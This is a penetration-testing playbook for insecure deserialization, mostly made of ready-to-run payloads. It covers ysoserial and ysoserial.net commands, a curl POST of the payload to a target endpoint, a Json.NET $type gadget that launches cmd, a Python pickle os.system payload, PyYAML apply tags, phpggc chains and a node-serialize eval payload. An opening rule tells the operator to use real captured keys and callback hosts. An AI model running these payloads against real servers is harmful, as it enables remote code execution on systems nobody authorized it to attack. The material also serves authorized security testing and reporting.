Insecure deserialization playbook

You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.

Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.

1. Fingerprint the format

Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.

2. Java

Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).

# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Chains worth iterating through (depends on classpath):

• CommonsCollections1..7 — Apache Commons Collections.
• Spring1, Spring2.
• JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.
• URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).

Confirm-first workflow: start with URLDNS against a DNS canary. If you see the DNS hit, you have insecure deserialization. Then try RCE chains.

ViewState (.NET, ASP.NET Web Forms)

If __VIEWSTATE is not MAC-protected, or the MAC key is leaked / weak / default, use ysoserial.net:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
  --path="/Default.aspx" --apppath="/" \
  --validationkey="<KEY>" --validationalg="HMACSHA256"

Confirming whether MAC is enforced: send __VIEWSTATE=AAEAAAD/////AQAAAAA= (a truncated stub). A ViewState MAC validation failed exception means MAC is on; a clean 500 deserialization stack trace means it's likely off.

3. .NET BinaryFormatter / Json.NET with TypeNameHandling

If you see Json.NET with TypeNameHandling = Auto/Objects/All, you can put $type in the payload:

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

Toolkit: ysoserial.net (https://github.com/pwntester/ysoserial.net) — covers BinaryFormatter, ObjectStateFormatter, NetDataContractSerializer, etc.

4. Python pickle

If you can submit raw pickled bytes (cookie, form, file upload, message queue payload), RCE is trivial:

import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())

Then submit base64 (or raw bytes, depending on transport).

Variants:

• __reduce_ex__ instead of __reduce__ when targeting specific protocols.
• pickle.loads on protocol-5 with out-of-band buffers — different surface.

PyYAML

!!python/object/apply:os.system ["id"]

Or:

!!python/object/new:os.system ["id"]

Modern PyYAML defaults to SafeLoader — only yaml.load() (no Loader arg) on old versions is vulnerable, but plenty of code still uses yaml.load(...) explicitly.

5. PHP unserialize

If user input lands in unserialize(), look for POP (Property-Oriented Programming) chains: existing classes in the codebase with __wakeup / __destruct / __toString magic methods that can be chained.

Toolkit: phpggc (https://github.com/ambionics/phpggc).

phpggc -b Symfony/RCE4 system 'id'   # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfo

Variants worth trying:

• O:8:"stdClass":0:{} — confirms unserialize() works at all (no exception).
• Phar deserialization: triggered by file_exists("phar://...") etc., not direct unserialize input. Look for Phar, file_exists, is_file with attacker-controlled paths.

6. Node — node-serialize

The npm node-serialize package's unserialize() accepts function strings prefixed with _$$ND_FUNC$$_ and evals them:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}

This is a one-shot — modern code rarely uses it.

7. Confirming impact

Pickle / yysoserial / phpggc all support a DNS or HTTP callback gadget (e.g. URLDNS for Java, simple system("curl ...") for the others). Use those to confirm deserialization happens before firing real exec — easier to attribute, smaller blast radius.

Once confirmed, the exec PoC should:

• Run id and capture stdout, OR
• Read a non-sensitive file (/etc/hostname) and surface its content.

Don't drop a reverse shell on a real engagement without explicit written authorization.

Reporting

Required:

• Format identified (Java serialized / pickle / etc.) with the magic-byte evidence.
• The exact endpoint + parameter / cookie that ingests it.
• A working gadget payload (base64'd if binary), and command run to generate it.
• Output of id (or equivalent proof) and the matching server response.
• Note any preconditions that limit exploitability (specific classpath, key disclosure required, etc.) — affects severity.